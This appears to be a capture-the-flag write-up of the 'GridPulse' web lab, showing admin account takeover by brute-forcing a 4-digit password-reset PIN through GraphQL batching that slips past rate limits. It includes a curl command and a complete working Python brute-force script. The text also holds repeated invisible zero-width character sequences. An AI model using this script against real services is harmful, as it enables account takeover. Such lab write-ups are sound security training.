← Back to Writeups
CUSTOMMediumWeb

Lab 228 — GridPulse

XESXOR9/10/20264 min read
#web#custom#medium#admin_account_takeover#graphql_batching_bruteforce#password_reset_pin_bruteforce#rate_limit_bypass_via_batching#linux

Lab 228 — GridPulse

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_account_takeover, graphql_batching_bruteforce, password_reset_pin_bruteforce, rate_limit_bypass_via_batching

Summary

Task: GraphQL-based analytics platform with password reset via 4-digit PIN. Apollo Server has batching enabled. Solution: Triggered admin password reset, then brute-forced all 10,000 PINs via GraphQL batching (1000 mutations per request, 10 requests total), bypassing rate limiting. Logged in as admin, found flag at /settings.

Lab 228 — GridPulse — HackAdvisor

Description

GridPulse is a real-time infrastructure analytics platform. It provides dashboards for monitoring server health, network traffic, and system performance metrics. The platform uses a GraphQL API for data operations and has a team of users with different roles.

You have been given access as a regular user. Your mission is to gain access to the admin account and retrieve the flag from admin-only system configuration.

English summary: A Node.js analytics platform with a GraphQL API (Apollo Server). The password reset mechanism uses a 4-digit PIN sent via email. GraphQL batching is enabled, allowing multiple mutations in a single HTTP request. The goal is to take over the admin account and access the flag in admin settings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

The application has a team page at /team listing all users with their emails and roles:

NameEmailRole
Marcus Chenadmin@gridpulse.ioAdmin
Alex Riveraalex.rivera@gridpulse.ioUser
.........

Given credentials: alex.rivera@gridpulse.io / password123

GraphQL Endpoint

The /graphql endpoint is an Apollo Server instance. Introspection is disabled, but the frontend JavaScript files reveal the available mutations: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

From /js/forgot-password.js:

  • forgotPassword(email: String!): ForgotPasswordResponse — triggers a 4-digit PIN to be sent
  • resetPassword(email: String!, pin: String!, newPassword: String!): ResetPasswordResponse — resets password if PIN matches

Batching Discovery

Apollo Server is configured with allowBatchedHttpRequests: true. Sending a JSON array of queries to /graphql returns an array of results — one per query. This is the critical vulnerability: rate limiting is applied per HTTP request, not per GraphQL operation within a batch. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Math

  • PIN space: 4 digits = 10,000 possibilities (0000–9999)
  • Batch size: 1,000 mutations per HTTP request
  • Total requests needed: 10,000 / 1,000 = 10 HTTP requests
  • Rate limiting: bypassed because all 1,000 mutations execute in a single HTTP request

Solution

Step 1: Trigger Password Reset for Admin

Send the forgotPassword mutation for the admin email:

bash
curl -s -X POST https://TARGET/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation { forgotPassword(email: \"admin@gridpulse.io\") { success message } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response confirms the PIN was "sent":

json
{"data":{"forgotPassword":{"success":true,"message":"If an account exists with that email, a reset PIN has been sent."}}}

Step 2: Brute-Force PIN via GraphQL Batching

Send batched resetPassword mutations — 1,000 per HTTP request — to cover all 10,000 possible PINs:

python
#!/usr/bin/env python3
"""
GridPulse - GraphQL Batching Attack on Password Reset
Brute-force 4-digit PIN via batched GraphQL mutations
"""
import requests
import json
import sys
import re
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "https://TARGET.labs.hackadvisor.io"
ADMIN_EMAIL = "admin@gridpulse.io"
NEW_PASSWORD = "hacked12345"
BATCH_SIZE = 1000  # Send 1000 PINs per request

session = requests.Session()

# Step 1: Trigger password reset for admin
print("[*] Triggering password reset for admin...")
resp = session.post(f"{TARGET}/graphql", json={
    "query": f'mutation {{ forgotPassword(email: "{ADMIN_EMAIL}") {{ success message }} }}'
})
print(f"    Response: {resp.json()}")

# Step 2: Brute-force PIN via batching
print(f"\n[*] Brute-forcing 4-digit PIN via GraphQL batching (batch size: {BATCH_SIZE})...")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for batch_start in range(0, 10000, BATCH_SIZE):
    batch_end = min(batch_start + BATCH_SIZE, 10000)

    # Build batch of mutations — each as a separate JSON object in an array
    batch = []
    for pin in range(batch_start, batch_end):
        pin_str = f"{pin:04d}"
        batch.append({
            "query": f'mutation {{ resetPassword(email: "{ADMIN_EMAIL}", pin: "{pin_str}", newPassword: "{NEW_PASSWORD}") {{ success message }} }}'
        })

    print(f"  [*] Trying PINs {batch_start:04d}-{batch_end-1:04d}...", end=" ", flush=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    resp = session.post(f"{TARGET}/graphql", json=batch, timeout=60)
    results = resp.json()

    # Check each result for success
    for i, r in enumerate(results):
        if 'data' in r and r['data'] and r['data'].get('resetPassword', {}).get('success'):
            pin = batch_start + i
            print(f"\n[+] SUCCESS! PIN found: {pin:04d}")
            print(f"    Admin password reset to: {NEW_PASSWORD}")

            # Step 3: Login as admin
            print("\n[*] Logging in as admin...")
            login_resp = session.post(f"{TARGET}/auth/login", data={
                "email": ADMIN_EMAIL,
                "password": NEW_PASSWORD
            }, allow_redirects=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

            # Step 4: Find flag
            settings_resp = session.get(f"{TARGET}/settings")
            flags = re.findall(r'FLAG\{[0-9a-f]{32}\}', settings_resp.text)
            if flags:
                print(f"\n[+] FLAG: {flags[0]}")
            sys.exit(0)

    error_count = sum(1 for r in results if 'errors' in r)
    print(f"errors={error_count}")

print("\n[-] PIN not found in range 0000-9999")

Step 3: Results

The PIN 1760 was found in the second batch (PINs 1000–1999). The admin password was successfully reset, and logging in as admin revealed the flag on the /settings page. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍